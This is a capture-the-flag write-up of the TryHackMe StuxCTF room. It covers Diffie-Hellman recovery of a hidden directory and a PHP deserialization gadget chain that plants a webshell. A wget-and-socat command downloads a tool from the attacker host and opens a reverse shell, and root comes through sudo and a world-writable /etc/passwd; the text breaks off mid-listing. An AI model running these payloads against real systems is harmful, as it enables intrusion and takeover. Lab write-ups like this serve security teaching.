StuxCTF | Jan 17, 2023
Introduction
Welcome to my another writeup! In this TryHackMe StuxCTF room, you’ll learn: Diffie–Hellman key exchange algorithm, exploiting PHP insecure deserialization via gadget chain and more! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★★☆☆☆☆☆☆☆
Table of Content
- Service Enumeration
- Initial Foothold
- Privilege Escalation: Option 1 - www to root
- Privilege Escalation: Option 2 - www to root
- Conclusion
Background
Crypto, serealization, priv scalation and more …!
Difficulty: Medium
Read user.txt
and root.txt
Service Enumeration
As usual, scan the machine for open ports via rustscan
!
Rustscan:
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|20:30:09]
└> export RHOSTS=10.10.254.140
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|20:30:15]
└> rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt
[...]
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e8dab70da7a1cc8eac4b196d252b3e77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHy6u+PbjzbKZyYYJwrdwKQPHa7m8AgiJwNQSx4Tp1IOOf2y8QZTm3/iln/TJsLNdRuOORhMymecTm0H8X+Oqq481qx5hcLb4ax88tzD/yHMYIWpgMVphjZRzvBpuYmL6tS25ltX5C8VUyIfAAp5UfmwTJTpQc6yUsf/SzA1JfHRMKYrKarm+HyiTA7Md5en7DkYf/Cc3D2RTvgmzyUEES1sWXIKlqG+Hw5Q3LBTf+x3Klv4j/nTjRnQ11uGXQUV+bf/hctQ+pd5lcOACdyvW1XDOoKVVFy794JUBZIE8KFJlDF9kDDk+/9KcXPFmwHRc7EhcvoOXI0IgdY9hHbA5v
| 256 c10c5adb6cd6a315968521e948652842 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNClIhCJbrZ4E0DajP2/THDkSRCFIIz+E4n0lwO2uwYKXLH+ZkmJfWPIS0G1imPiAl86M4waW46uhq+zd2zf7nY=
| 256 0f1a6ad1bbcba63ebd8f998dda2f3086 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhnACR59xmsr8aznDId/sXX28PkUm6kKDeoNMHsgY3O
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/StuxCTF/
|_http-title: Default Page
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
According to rustscan
result, we have 2 ports are opened:
Open Port | Service |
---|---|
22 | OpenSSH 7.2p2 Ubuntu |
80 | Apache httpd 2.4.18 ((Ubuntu)) |
HTTP on Port 80
Adding a new host to /etc/hosts
:
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|20:30:15]
└> echo "$RHOSTS stuxctf.thm" >> /etc/hosts
robots.txt
:
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|20:32:10]
└> curl http://stuxctf.thm/robots.txt
# robots.txt generated by StuxCTF
# Diffie-Hellman
User-agent: *
Disallow:
Disallow: /StuxCTF/
However, when we try to reach that path, the web server outputs a HTTP status 404 code:
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|20:33:53]
└> curl http://stuxctf.thm/StuxCTF/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /StuxCTF/ was not found on this server.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at stuxctf.thm Port 80</address>
</body></html>
Home page:
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|20:33:55]
└> curl http://stuxctf.thm/
<html>
<head>
<title>Default Page</title>
</head>
<body>
<!-- The secret directory is...
p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251;
g: 7;
a: 330;
b: 450;
g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617;
-->
is blank....
</body>
</html>
Found a HTML comment!
In the room’s third question, it has this:
What is the hidden directory?
HINT: g ^ a mod p, g ^ b mod p, g ^ C mod p
first 128 characters ...
Armed with above information, it’s Diffie-Hellman algorithm. Diffie-Hellman is a key exchange protocol enables two parties communicating over public channel to establish a mutual secret without it being transmitted over the Internet. Similar to RSA encryption.
According to Wikipedia, the communication flow is:
Now, we can reverse the communication flow, as we have the shared key.
We compute the shared key this way:
- $(({g}^{c})^{a})^{b} \bmod {p}$
To do so, I’ll write a python script:
#!/usr/bin/env python3
def main():
p = 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
g = 7
a = 330
b = 450
gExpc = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617
gca = pow(gExpc, a, p)
gcab = pow(gca, b, p)
# Only print first 128 characters
print(f'Hidden directory: {str(gcab)[:128]}')
if __name__ == '__main__':
main()
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|21:00:07]
└> python3 diffie-hellman-solve.py
Hidden directory: 47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055
Found the hidden directory!
Initial Foothold
View source page:
<!DOCTYPE html>
<head>
<title>StuxCTF</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="assets/css/bootstrap.min.css" />
<link rel="stylesheet" href="assets/css/style.css" />
</head>
<body>
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
</button>
<a class="navbar-brand" href="index.php">Home</a>
</div>
</div>
</nav>
<!-- hint: /?file= -->
<div class="container">
<div class="jumbotron">
<center>
<h1>Follow the white rabbit..</h1>
</center>
</div>
</div>
<script src="assets/js/jquery-1.11.3.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
</body>
</html>
It seems like we can supply a GET parameter file
!
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|21:07:29]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/index.php --get --data-urlencode "file=test" | html2text
File no Exist!
Toggle navigation Home
****** Follow the white rabbit.. ******
When we provide an invalid file, it outputs File no Exist!
.
How about a valid file?
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|21:13:41]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/index.php --get --data-urlencode "file=/etc/passwd" | html2text
Toggle navigation Home
****** Follow the white rabbit.. ******
Nothing.
Now, my best guess is it’s using PHP’s include()
to read local file. How about RFI (Remote File Inclusion)?
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|21:14:43]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|21:13:47]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/index.php --get --data-urlencode "file=http://10.9.0.253" | html2text
File no Exist!
Toggle navigation Home
****** Follow the white rabbit.. ******
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|21:14:43]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.254.140 - - [16/Jan/2023 21:14:58] "GET / HTTP/1.0" 200 -
It can reach to me!
Hmm… Let’s also try to read index.php
, so we can get a better understanding of the file
GET parameter:
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|20:57:14]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/index.php --get --data-urlencode "file=index.php" | html2text
3d3d67432b384349794a47502b7757623068324c386f67507641696369786a50355232626939435067414349676f67507641696369786a5030425861794e326376776a50694d6e617534576174354363684a48647a523362764a324c7a70324c7a52585a7a4e585969307a59794e484930425861794e32633841434967414349674143494b347a4c67496e5938344464776c6d636a4e334c38346a497a706d4c756c5762754d6a4c78456a4c78305365795657647870324c7a70324c7a52585a7a4e585969307a59794e484930425861794e32633841434967414349674143494b347a4c67496e593841434967414349674143496741434967346a647052324c3841434967414349674143494b347a4c67496e5938346a647052324c38414349674143496741434967414349676f67507641696369786a507956476475563259767754434a6b51434b347a4c67496e593834544d6f39435075344364704a6d59684a48496c5258616f6448496c68476467633362737832624735544d6f7854434a6b51434a6f67507641696369786a507956476475563259386b51434a6b67432b384349794a47502b496962764a4864764a576231706d49394d336368783259675958616b784449674143496741434967414349674169432b384349794a47502b4969636c35576168526e62764e6d49394d336368783259675958616b7844496741434967414349676f67507641696369786a507430434939554762705a32507641694f303557616f42534c744543506741434967414349674169432b384349794a47502b595859753943506741434967414349674169432b384349794a47502b5958616b394350674143496741434967414349676f67507641696369786a50326c475a76774449674143496741434967414349674169432b384349794a47502b45324c3855576276686b5069414861773543656c526d62704a53506d566d636f4269496b355759794a574c79466d5932466d6269307a637a4647626a42535938414349674143496741434967414349674143494b347a4c67496e5938346a6276524864314a324c38414349674143496741434967414349674143494b347a4c67496e5938346a626842336376776a62766c47646864576132466d62675547626e64326255356a4935786d62763169637a4a53507a4e5859734e4749754647637a78444967414349674143496741434967414349674143494b347a4c67496e5938346a4979466d5932466d6269307a6373396d63303532626a315359704a58596749535a7a7857596d4a53506b56475a754647633456574c686c6d636842694979466d5932466d626a4953503056325a7946476474454764685247496955326377464762733932596930545a7364325a7652584c685258596b4269496b5632637746476273393259675547626e64326230316963684a6d6468356d49394d3363687832596749696276524864314a6d4939554763355248497539476430566e5938414349674143496741434967414349674143494b347a4c67496e5938346a497956475a6856476174495859695a5859754a53507a4e5859734e4749326c475a38414349674143496741434967414349676f67507641696369786a506949585a756c5759303532626a4a53507a4e5859734e4749326c475a384143496741434967414349674169432b384349794a47502b4943637652584c6b564765705a574c79466d5932466d626751486231466d5a6c52574c79466d5932466d6267495859695a5859754a53507a4e5859734e474932466d623841434967414349674143494b347a4c67496e59383454656b396d593841434967414349674143494b347a4c67496e593834445a6856476176774449674143494b347a4c67496e5938347a4c674979637a4e6d4c6c785765304e334c7a4e3359764d48646c4e3363684a53506d566d636f4269493056575a6f4e585a736c48647a4a535073566d6367736d62707847506741434967414349674169432b384349794a47502b384349694d33636a35696270316d4c77466d63304e486476396d59764d33636a397963305632637a466d493959575a796847496951585a6c6832636c785765304e6e493977575a79427961756c47623841434967414349674143494b347a4c67496e5938346a497830545a734632597a314362686c47647035576167774361305257613331535a6a6c6d646c5257506f52485a70646e4939516e626c526e62764e474969516e63764233646c6c6d646930545a74466d62674547646c3147506741434967414349674169432b384349794a47502b49434f74594556564a535030563263794647616a42535930565762386b67432b384349794a47502b554762306c476476776a52554e4565315233552b554762306c47643841434967414349674143494b347a4c67496e593834445a6856476138414349674169432b384349794a47502b7757623068474946425657554e3054454643504b347a4c67496e59386f67507641696369787a4f706b535a74466d6266564762705a474a6f4d486475564764753932596652585a6e39565a736c6d5a6f556d6570785759704a585a7a3557644b347a4c67496e5938306e432b384349794a4750376b534b706b534b3035575a303532626a52434973496949677779636e4647646b67535a6a46476277566d63664a48647a686963694a44627568535a6b393259755632583059545a7a466d596f59585a794a48647a6843656c686d4d756c6d59673847616a5647496741434967414349676f67507641696369787a4f704969496777694969675365684a6e6368425350674d335a6852484a6741434967414349674169432b384349794a4750376b535a74466d6266564762705a474a6f4d486475564764753932596652585a6e39565a736c6d5a673044493035575a303532626a5243496741434967414349676f67507641696369787a65704943636f426e4c3456475a756c6d493930545a74466d6266564762705a474a6f5957614b347a4c67496e59386f675076416963697854664b347a4c67496e5938736a49685133637068585267386d6267554762705a6b49673847616a5647496741434967414349676f67507641696369787a65706b535a74466d6266564762705a474a6f4d48647a6c47656c39565a736c6d5a6841694a6d41534b6c3157597539565a736c6d5a6b6743646c4e33637068695a707067507641696369787a4f6464535a736c6d5a6e734656466430586b41535067555762683532586c7857616d5269432b384349794a47504b347a4c67496e59386f675076416963697854664b347a4c67496e59383048496741434967414349676f67507641696369787a4f7045476468526d50744d58616f52484a6777535a736c6d5a2b307963706847646b6779633035575a303532626a394664314233586c7857616d42434967414349674143496741434967414349674169432b384349794a4750376c434b304e5764795233636c52325866426962766c47646a3557646d42434967414349674143494b347a4c67496e5938736a49304e585a304243637456485a69415350674547646852474a674d5761734a57647742434967414349674143494b347a4c67496e5938736a49306848647541586231526d49673044496c7857616d5243496a6c4762695648636741434967414349674169432b384349794a47503742535a736c6d5a674d3363687832594b347a4c67496e593873544b7767795a756c4764793947636c4a335879396d6379566d432b384349794a4750
Toggle navigation Home
****** Follow the white rabbit.. ******
Bunch of hex data. Let’s use xxd
to decode it:
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|20:58:05]
└> nano index.hex
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|20:58:21]
└> cat index.hex | xxd -r -p | rev
PGJyIC8+CmVycm9yX3JlcG9ydGluZygwKTs8YnIgLz4KY2xhc3MgZmlsZSB7PGJyIC8+CiAgICAgICAgcHVibGljICRmaWxlID0gImR1bXAudHh0Ijs8YnIgLz4KICAgICAgICBwdWJsaWMgJGRhdGEgPSAiZHVtcCB0ZXN0Ijs8YnIgLz4KICAgICAgICBmdW5jdGlvbiBfX2Rlc3RydWN0KCl7PGJyIC8+CiAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkdGhpcy0+ZmlsZSwgJHRoaXMtPmRhdGEpOzxiciAvPgogICAgICAgIH08YnIgLz4KfTxiciAvPgo8YnIgLz4KPGJyIC8+CiRmaWxlX25hbWUgPSAkX0dFVFsnZmlsZSddOzxiciAvPgppZihpc3NldCgkZmlsZV9uYW1lKSAmJiAhZmlsZV9leGlzdHMoJGZpbGVfbmFtZSkpezxiciAvPgogICAgICAgIGVjaG8gIkZpbGUgbm8gRXhpc3QhIjs8YnIgLz4KfTxiciAvPgo8YnIgLz4KaWYoJGZpbGVfbmFtZT09ImluZGV4LnBocCIpezxiciAvPgogICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVfbmFtZSk7PGJyIC8+CiAgICAgICAgJHRhZ3MgPSBhcnJheSgiIiwgIiIpOzxiciAvPgogICAgICAgIGVjaG8gYmluMmhleChzdHJyZXYoYmFzZTY0X2VuY29kZShubDJicihzdHJfcmVwbGFjZSgkdGFncywgIiIsICRjb250ZW50KSkpKSk7PGJyIC8+Cn08YnIgLz4KdW5zZXJpYWxpemUoZmlsZV9nZXRfY29udGVudHMoJGZpbGVfbmFtZSkpOzxiciAvPgo8YnIgLz4KPCFET0NUWVBFIGh0bWw+PGJyIC8+CiAgICA8aGVhZD48YnIgLz4KICAgICAgICA8dGl0bGU+U3R1eENURjwvdGl0bGU+PGJyIC8+Cgk8bWV0YSBjaGFyc2V0PSJVVEYtOCI+PGJyIC8+CiAgICAgICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIj48YnIgLz4KICAgICAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImFzc2V0cy9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiIC8+PGJyIC8+CiAgICAgICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJhc3NldHMvY3NzL3N0eWxlLmNzcyIgLz48YnIgLz4KICAgIDwvaGVhZD48YnIgLz4KICAgICAgICA8Ym9keT48YnIgLz4KICAgICAgICA8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWRlZmF1bHQgbmF2YmFyLWZpeGVkLXRvcCI+PGJyIC8+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPjxiciAvPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZiYXItaGVhZGVyIj48YnIgLz4KICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9Im5hdmJhci10b2dnbGUgY29sbGFwc2VkIiBkYXRhLXRvZ2dsZT0iY29sbGFwc2UiIGRhdGEtdGFyZ2V0PSIjbmF2YmFyIiBhcmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1jb250cm9scz0ibmF2YmFyIj48YnIgLz4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzci1vbmx5Ij5Ub2dnbGUgbmF2aWdhdGlvbjwvc3Bhbj48YnIgLz4KICAgICAgICAgICAgICA8L2J1dHRvbj48YnIgLz4KICAgICAgICAgICAgICA8YSBjbGFzcz0ibmF2YmFyLWJyYW5kIiBocmVmPSJpbmRleC5waHAiPkhvbWU8L2E+PGJyIC8+CiAgICAgICAgICAgIDwvZGl2PjxiciAvPgogICAgICAgICAgPC9kaXY+PGJyIC8+CiAgICAgICAgPC9uYXY+PGJyIC8+CiAgICAgICAgPCEtLSBoaW50OiAvP2ZpbGU9IC0tPjxiciAvPgogICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+PGJyIC8+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Imp1bWJvdHJvbiI+PGJyIC8+CgkJCQk8Y2VudGVyPjxiciAvPgoJCQkJCTxoMT5Gb2xsb3cgdGhlIHdoaXRlIHJhYmJpdC4uPC9oMT48YnIgLz4KCQkJCTwvY2VudGVyPjxiciAvPgogICAgICAgICAgICA8L2Rpdj48YnIgLz4KICAgICAgICA8L2Rpdj4gICAgICAgICAgICA8YnIgLz4KICAgICAgICA8c2NyaXB0IHNyYz0iYXNzZXRzL2pzL2pxdWVyeS0xLjExLjMubWluLmpzIj48L3NjcmlwdD48YnIgLz4KICAgICAgICA8c2NyaXB0IHNyYz0iYXNzZXRzL2pzL2Jvb3RzdHJhcC5taW4uanMiPjwvc2NyaXB0PjxiciAvPgogICAgPC9ib2R5PjxiciAvPgo8L2h0bWw+PGJyIC8+Cg==
It’s a base64 encoded string! Let’s decode it again:
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|20:58:24]
└> cat index.hex | xxd -r -p | rev | base64 -d
<br />
error_reporting(0);<br />
class file {<br />
public $file = "dump.txt";<br />
public $data = "dump test";<br />
function __destruct(){<br />
file_put_contents($this->file, $this->data);<br />
}<br />
}<br />
<br />
<br />
$file_name = $_GET['file'];<br />
if(isset($file_name) && !file_exists($file_name)){<br />
echo "File no Exist!";<br />
}<br />
<br />
if($file_name=="index.php"){<br />
$content = file_get_contents($file_name);<br />
$tags = array("", "");<br />
echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));<br />
}<br />
unserialize(file_get_contents($file_name));<br />
<br />
<!DOCTYPE html><br />
<head><br />
<title>StuxCTF</title><br />
<meta charset="UTF-8"><br />
<meta name="viewport" content="width=device-width, initial-scale=1"><br />
<link rel="stylesheet" href="assets/css/bootstrap.min.css" /><br />
<link rel="stylesheet" href="assets/css/style.css" /><br />
</head><br />
<body><br />
<nav class="navbar navbar-default navbar-fixed-top"><br />
<div class="container"><br />
<div class="navbar-header"><br />
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><br />
<span class="sr-only">Toggle navigation</span><br />
</button><br />
<a class="navbar-brand" href="index.php">Home</a><br />
</div><br />
</div><br />
</nav><br />
<!-- hint: /?file= --><br />
<div class="container"><br />
<div class="jumbotron"><br />
<center><br />
<h1>Follow the white rabbit..</h1><br />
</center><br />
</div><br />
</div> <br />
<script src="assets/js/jquery-1.11.3.min.js"></script><br />
<script src="assets/js/bootstrap.min.js"></script><br />
</body><br />
</html><br />
Beautified index.php
:
<?php
error_reporting(0);
class file {
public $file = "dump.txt";
public $data = "dump test";
function __destruct(){
file_put_contents($this->file, $this->data);
}
}
$file_name = $_GET['file'];
if(isset($file_name) && !file_exists($file_name)){
echo "File no Exist!";
}
if($file_name=="index.php"){
$content = file_get_contents($file_name);
$tags = array("", "");
echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));
}
unserialize(file_get_contents($file_name));
?>
Let’s break it down!
It has a class called file
, which has 2 attributes: file
, data
, and they are public. Also, it has a magic method __destruct()
, which will be invoked when the PHP script is exited.
- Magic method
__destruct()
:
When the PHP script is exited, it’ll write dump.txt
with data dump test
to disk.
After that, we see there is a GET parameter file
.
If the GET parameter file
is set and the file doesn’t exist, echos out "File no Exist!"
.
If the GET parameter file
’s value is index.php
, then read index.php
and encode it.
Finally, it’ll unserialize the contents of our supplied file.
Armed with above information, it’s clear that we need to exploit insecure deserialization!
- Goal: Get Remote Code Execution (RCE) via gadget chain
- Using magic method
__destruct()
to write an evil serialized PHP, which contains a PHP webshell - Unserialize our serialized PHP object, which will write the PHP webshell to disk
If you’re interested in exploiting insecure deserialization via custom gadget chain, you could read my PortSwigger Lab’s writeup.
To do so, I’ll write a PHP script to get a serialized object:
<?php
class file {
public $file = "webshell.php";
public $data = '<?php system($_GET["cmd"])?>';
function __destruct(){
file_put_contents($this->file, $this->data);
}
}
$obj = new file;
echo serialize($obj);
?>
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:25:54]
└> php test.php
O:4:"file":2:{s:4:"file";s:12:"webshell.php";s:4:"data";s:28:"<?php system($_GET["cmd"])?>";}
Then, since the web application has allow_url_include
, which allows the file_get_contents()
can reach to our host, we can create a serialized PHP object:
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:12:19]
└> nano evilObj.txt
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|20:49:19]
└> cat evilObj.txt
O:4:"file":2:{s:4:"file";s:12:"webshell.php";s:4:"data";s:28:"<?php system($_GET["cmd"])?>";}
After that, host the file:
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:39:45]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Finally, use the file
parameter to read our evil serialized PHP object remotely, which will then write a parsed to __destruct()
magic method, and write our PHP webshell to disk!
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:32:02]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/index.php --get --data-urlencode "file=http://10.9.0.253/evilObj.txt"
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:40:06]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/webshell.php --get --data-urlencode "cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We have code execution!!
Let’s get a reverse shell!
- Setup a listener: (I’m using
socat
for stable shell)
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:48:20]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:443
2023/01/17 21:48:24 socat[36787] N opening character device "/dev/pts/1" for reading and writing
2023/01/17 21:48:24 socat[36787] N listening on AF=2 0.0.0.0:443
┌[root♥siunam]-(/opt/static-binaries/binaries/linux/x86_64)-[2023.01.17|21:48:20]-[git://master ✗]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
- Send the reverse shell payload: (Generated from revshells.com)
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:48:53]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/webshell.php --get --data-urlencode "cmd=wget http://10.9.0.253/socat -O /tmp/socat;chmod +x /tmp/socat;/tmp/socat TCP:10.9.0.253:443 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane"
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:48:20]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:443
2023/01/17 21:48:24 socat[36787] N opening character device "/dev/pts/1" for reading and writing
2023/01/17 21:48:24 socat[36787] N listening on AF=2 0.0.0.0:443
2023/01/17 21:49:39 socat[36787] N accepting connection from AF=2 10.10.254.140:33528 on AF=2 10.9.0.253:443
2023/01/17 21:49:39 socat[36787] N starting data transfer loop with FDs [5,5] and [7,7]
<2704977050807800832928198526567069446044422855055$
<2704977050807800832928198526567069446044422855055$ export TERM=xterm-256color
<2704977050807800832928198526567069446044422855055$ stty rows 22 columns
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ whoami;hostname;id;ip a
www-data
ubuntu
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
link/ether 02:50:8e:17:fc:cb brd ff:ff:ff:ff:ff:ff
inet 10.10.254.140/16 brd 10.10.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::50:8eff:fe17:fccb/64 scope link
valid_lft forever preferred_lft forever
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ ^C
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$
I’m user www-data
!
user.txt:
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ cat /home/grecia/user.txt
{Redacted}
Privilege Escalation
1. www-data to root
There are 2 ways to get root access.
Let’s do some basic enumerations!
Sudo permission:
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: ALL
Wait what?? User www-data
can run any command as root
without password?
Let’s just Switch User to root
!
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ sudo su root
root@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055# whoami;hostname;id;ip a
root
ubuntu
uid=0(root) gid=0(root) groups=0(root)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
link/ether 02:50:8e:17:fc:cb brd ff:ff:ff:ff:ff:ff
inet 10.10.254.140/16 brd 10.10.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::50:8eff:fe17:fccb/64 scope link
valid_lft forever preferred_lft forever
I’m root! :D
2. www-data to root
By checking /etc/passwd
file permission, I found that it’s world-writeable!
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ ls -lah /etc/passwd
-rwxrwxrwx 1 root root 1.5K Aug 8 2019 /etc/passwd
Let’s add a user that has root privilege!
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:49:45]
└> openssl passwd password
$1$iWXmHZuf$mVNG8abIXyBrLPiCt587V1
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ nano /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
